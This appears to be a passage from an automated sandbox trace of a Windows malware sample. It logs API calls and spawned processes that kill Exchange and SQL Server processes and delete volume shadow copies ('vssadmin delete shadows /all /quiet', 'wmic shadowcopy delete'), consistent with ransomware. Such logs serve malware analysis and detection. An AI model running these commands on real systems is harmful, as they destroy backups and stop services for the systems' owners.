[0058.082] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0058.082] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0058.082] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0058.082] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0058.082] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0058.082] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0058.082] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0058.082] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0058.082] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0058.082] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0058.082] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0058.082] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0058.082] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0058.082] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0058.082] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0058.082] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0058.082] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0058.082] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0058.082] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0058.082] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0058.082] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0058.082] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0058.082] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0058.082] _wcsicmp (_String1="wbadmin", _String2="FOR") returned 17 [0058.082] _wcsicmp (_String1="wbadmin", _String2="IF") returned 14 [0058.082] _wcsicmp (_String1="wbadmin", _String2="REM") returned 5 [0058.083] GetProcessHeap () returned 0x480000 [0058.083] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x210) returned 0x493070 [0058.083] GetProcessHeap () returned 0x480000 [0058.083] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x46) returned 0x493288 [0058.083] _wcsnicmp (_String1="wbad", _String2="cmd ", _MaxCount=0x4) returned 20 [0058.083] GetProcessHeap () returned 0x480000 [0058.083] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x418) returned 0x4807f0 [0058.083] SetErrorMode (uMode=0x0) returned 0x0 [0058.083] SetErrorMode (uMode=0x1) returned 0x0 [0058.083] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4807f8, lpFilePart=0x3cf528 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cf528*="Desktop") returned 0x25 [0058.083] SetErrorMode (uMode=0x0) returned 0x1 [0058.083] GetProcessHeap () returned 0x480000 [0058.083] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x4807f0, Size=0x64) returned 0x4807f0 [0058.083] GetProcessHeap () returned 0x480000 [0058.083] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x4807f0) returned 0x64 [0058.083] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.083] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.084] GetProcessHeap () returned 0x480000 [0058.084] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x120) returned 0x4932d8 [0058.084] GetProcessHeap () returned 0x480000 [0058.084] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x238) returned 0x480860 [0058.090] GetProcessHeap () returned 0x480000 [0058.090] RtlReAllocateHeap (Heap=0x480000, Flags=0x0, Ptr=0x480860, Size=0x122) returned 0x480860 [0058.090] GetProcessHeap () returned 0x480000 [0058.090] RtlSizeHeap (HeapHandle=0x480000, Flags=0x0, MemoryPointer=0x480860) returned 0x122 [0058.090] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.090] GetProcessHeap () returned 0x480000 [0058.090] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xe0) returned 0x493400 [0058.090] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.091] GetLastError () returned 0x2 [0058.091] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.091] GetLastError () returned 0x2 [0058.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.091] GetLastError () returned 0x2 [0058.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.091] GetLastError () returned 0x2 [0058.091] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.092] GetLastError () returned 0x2 [0058.092] FindFirstFileExW (in: lpFileName="C:\\Windows\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.092] GetLastError () returned 0x2 [0058.092] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.092] GetLastError () returned 0x2 [0058.092] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.092] GetLastError () returned 0x2 [0058.092] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin.*", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.509] GetLastError () returned 0x2 [0058.509] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\wbadmin", fInfoLevelId=0x1, lpFindFileData=0x3cf2a4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3cf2a4) returned 0xffffffff [0058.509] GetLastError () returned 0x2 [0058.509] _get_osfhandle (_FileHandle=2) returned 0xb [0058.509] GetFileType (hFile=0xb) returned 0x2 [0058.565] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0058.565] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x3cf6f8 | out: lpMode=0x3cf6f8) returned 1 [0058.570] _get_osfhandle (_FileHandle=2) returned 0xb [0058.570] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x3cf72c | out: lpConsoleScreenBufferInfo=0x3cf72c) returned 1 [0058.736] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0058.736] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x3cf750, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x3cf750*=0x62) returned 1 [0058.737] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.737] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.737] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.737] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.737] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.737] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.737] SetConsoleInputExeNameW () returned 0x1 [0058.737] GetConsoleOutputCP () returned 0x1b5 [0058.738] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.738] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.738] exit (_Code=1) Process: id = "50" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x29498000" os_pid = "0xd50" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im MSExchange*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 74 os_tid = 0xd54 Thread: id = 129 os_tid = 0xef0 Thread: id = 211 os_tid = 0xf80 Thread: id = 218 os_tid = 0xf9c Thread: id = 219 os_tid = 0xfa0 Process: id = "51" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x2439d000" os_pid = "0xd90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im Microsoft.Exchange.*" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 75 os_tid = 0xd94 Thread: id = 125 os_tid = 0xed4 Thread: id = 215 os_tid = 0xf90 Thread: id = 224 os_tid = 0xfb4 Thread: id = 225 os_tid = 0xfb8 Process: id = "52" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x1e2a2000" os_pid = "0xd98" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im sqlserver.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 76 os_tid = 0xd9c Thread: id = 128 os_tid = 0xeec Thread: id = 212 os_tid = 0xf84 Thread: id = 220 os_tid = 0xfa4 Thread: id = 221 os_tid = 0xfa8 Process: id = "53" image_name = "taskkill.exe" filename = "c:\\windows\\syswow64\\taskkill.exe" page_root = "0x1b8a7000" os_pid = "0xda0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "taskkill /f /im sqlwriter.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 77 os_tid = 0xda4 Thread: id = 228 os_tid = 0xfc4 Thread: id = 229 os_tid = 0xfc8 Thread: id = 230 os_tid = 0xfcc Thread: id = 231 os_tid = 0xfd0 Process: id = "54" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x21853000" os_pid = "0xdf4" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "35" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00072f2e" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 86 os_tid = 0xe4c Thread: id = 87 os_tid = 0xe48 Thread: id = 88 os_tid = 0xe30 Thread: id = 89 os_tid = 0xe24 [0052.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe6d8c0 | out: lpSystemTimeAsFileTime=0xe6d8c0*(dwLowDateTime=0xae033a00, dwHighDateTime=0x1d5e09d)) [0052.019] GetCurrentProcessId () returned 0xdf4 [0052.019] GetCurrentThreadId () returned 0xe24 [0052.019] GetTickCount () returned 0x1157437 [0052.019] QueryPerformanceCounter (in: lpPerformanceCount=0xe6d8c8 | out: lpPerformanceCount=0xe6d8c8*=19388982406) returned 1 [0052.019] malloc (_Size=0x100) returned 0x4c8e80 [0253.055] free (_Block=0x4c8e80) Thread: id = 90 os_tid = 0xe20 Thread: id = 91 os_tid = 0xe14 Thread: id = 92 os_tid = 0xdf8 Thread: id = 118 os_tid = 0xeac Thread: id = 322 os_tid = 0x638 Process: id = "55" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "54" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 93 os_tid = 0x7c0 Thread: id = 94 os_tid = 0x310 Thread: id = 95 os_tid = 0x128 Thread: id = 96 os_tid = 0x7c8 Thread: id = 97 os_tid = 0x6cc Thread: id = 98 os_tid = 0x644 Thread: id = 99 os_tid = 0x63c Thread: id = 100 os_tid = 0x154 Thread: id = 101 os_tid = 0x150 Thread: id = 102 os_tid = 0x120 Thread: id = 103 os_tid = 0x124 Thread: id = 104 os_tid = 0x118 Thread: id = 105 os_tid = 0x3fc Thread: id = 107 os_tid = 0xe6c Thread: id = 222 os_tid = 0xfac Thread: id = 223 os_tid = 0xfb0 Thread: id = 283 os_tid = 0xc78 Thread: id = 320 os_tid = 0xeac Thread: id = 324 os_tid = 0xd70 Process: id = "56" image_name = "vssadmin.exe" filename = "c:\\windows\\syswow64\\vssadmin.exe" page_root = "0x2a644000" os_pid = "0xed8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "47" os_parent_pid = "0xd38" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 126 os_tid = 0xedc Thread: id = 182 os_tid = 0xf08 Thread: id = 186 os_tid = 0xf18 Thread: id = 189 os_tid = 0xf24 Thread: id = 190 os_tid = 0xf28 Process: id = "57" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x1d620000" os_pid = "0xee0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "48" os_parent_pid = "0xd40" cmd_line = "wmic shadowcopy delete" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 127 os_tid = 0xee4 [0059.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f80c | out: lpSystemTimeAsFileTime=0x12f80c*(dwLowDateTime=0xb24c93e0, dwHighDateTime=0x1d5e09d)) [0059.763] GetCurrentProcessId () returned 0xee0 [0059.763] GetCurrentThreadId () returned 0xee4 [0059.763] GetTickCount () returned 0x115904e [0059.763] QueryPerformanceCounter (in: lpPerformanceCount=0x12f804 | out: lpPerformanceCount=0x12f804*=20163397854) returned 1 [0059.764] GetModuleHandleA (lpModuleName=0x0) returned 0xcd0000 [0059.764] __set_app_type (_Type=0x1) [0059.764] __p__fmode () returned 0x76be31f4 [0059.764] __p__commode () returned 0x76be31fc [0059.764] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xd0dc15) returned 0x0 [0059.764] __wgetmainargs (in: _Argc=0xd1c5e8, _Argv=0xd1c5f0, _Env=0xd1c5ec, _DoWildCard=0, _StartInfo=0xd1c5fc | out: _Argc=0xd1c5e8, _Argv=0xd1c5f0, _Env=0xd1c5ec) returned 0 [0059.766] ??0CHString@@QAE@XZ () returned 0xd1c28c [0059.766] malloc (_Size=0x18) returned 0x6413b8 [0059.766] malloc (_Size=0x38) returned 0x6413d8 [0059.766] malloc (_Size=0x28) returned 0x643dc8 [0059.766] malloc (_Size=0x18) returned 0x643df8 [0059.766] malloc (_Size=0x24) returned 0x643e18 [0059.766] malloc (_Size=0x18) returned 0x643e48 [0059.766] malloc (_Size=0x18) returned 0x643e68 [0059.766] ??0CHString@@QAE@XZ () returned 0xd1c594 [0059.766] malloc (_Size=0x18) returned 0x643e88 [0059.766] ?Empty@CHString@@QAEXXZ () returned 0x74c20504 [0059.766] SetConsoleCtrlHandler (HandlerRoutine=0xd06b6f, Add=1) returned 1 [0059.766] _onexit (_Func=0xd12f1f) returned 0xd12f1f [0059.767] _onexit (_Func=0xd12f2e) returned 0xd12f2e [0059.767] _onexit (_Func=0xd12f42) returned 0xd12f42 [0059.767] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0059.767] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0059.768] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0061.552] CoCreateInstance (in: rclsid=0xcd6c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xcd6b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xd1c1b0 | out: ppv=0xd1c1b0*=0xb20828) returned 0x0 [0061.561] GetCurrentProcess () returned 0xffffffff [0061.561] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x12f6b4 | out: TokenHandle=0x12f6b4*=0x110) returned 1 [0061.561] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x12f6b0 | out: TokenInformation=0x0, ReturnLength=0x12f6b0) returned 0 [0061.561] malloc (_Size=0x118) returned 0x642788 [0061.562] GetTokenInformation (in: TokenHandle=0x110, TokenInformationClass=0x3, TokenInformation=0x642788, TokenInformationLength=0x118, ReturnLength=0x12f6b0 | out: TokenInformation=0x642788, ReturnLength=0x12f6b0) returned 1 [0061.562] AdjustTokenPrivileges (in: TokenHandle=0x110, DisableAllPrivileges=0, NewState=0x642788*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0061.562] free (_Block=0x642788) [0061.562] CloseHandle (hObject=0x110) returned 1 [0061.562] malloc (_Size=0x40) returned 0x642788 [0061.562] malloc (_Size=0x40) returned 0x6427d0 [0061.562] malloc (_Size=0x40) returned 0x642818 [0061.562] malloc (_Size=0x20a) returned 0x642860 [0061.562] GetSystemDirectoryW (in: lpBuffer=0x642860, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0061.562] free (_Block=0x642860) [0061.562] malloc (_Size=0xc) returned 0x643fb8 [0061.562] malloc (_Size=0xc) returned 0x643fd0 [0061.562] malloc (_Size=0xc) returned 0x642860 [0061.562] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0061.562] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0061.563] free (_Block=0x643fb8) [0061.563] free (_Block=0x643fd0) [0061.563] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e10000 [0061.563] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0061.563] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.565] FreeLibrary (hLibModule=0x76e10000) returned 1 [0061.565] free (_Block=0x642860) [0061.565] _vsnwprintf (in: _Buffer=0x642818, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x12f610 | out: _Buffer="ms_409") returned 6 [0061.565] malloc (_Size=0x20) returned 0x643fb8 [0061.565] GetComputerNameW (in: lpBuffer=0x643fb8, nSize=0x12f668 | out: lpBuffer="XDUWTFONO", nSize=0x12f668) returned 1 [0061.565] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.565] malloc (_Size=0x14) returned 0x642860 [0061.565] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.565] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x12f6a4 | out: lpNameBuffer=0x0, nSize=0x12f6a4) returned 0x0 [0061.567] GetLastError () returned 0xea [0061.567] malloc (_Size=0x40) returned 0x642880 [0061.567] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x642880, nSize=0x12f6a4 | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x12f6a4) returned 0x1 [0061.567] lstrlenW (lpString="") returned 0 [0061.567] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.567] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0061.569] lstrlenW (lpString=".") returned 1 [0061.569] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.569] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0061.569] lstrlenW (lpString="LOCALHOST") returned 9 [0061.569] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.569] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0061.569] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.570] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.570] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0061.570] free (_Block=0x642860) [0061.570] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.570] malloc (_Size=0x14) returned 0x642860 [0061.570] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.570] lstrlenW (lpString="XDUWTFONO") returned 9 [0061.570] 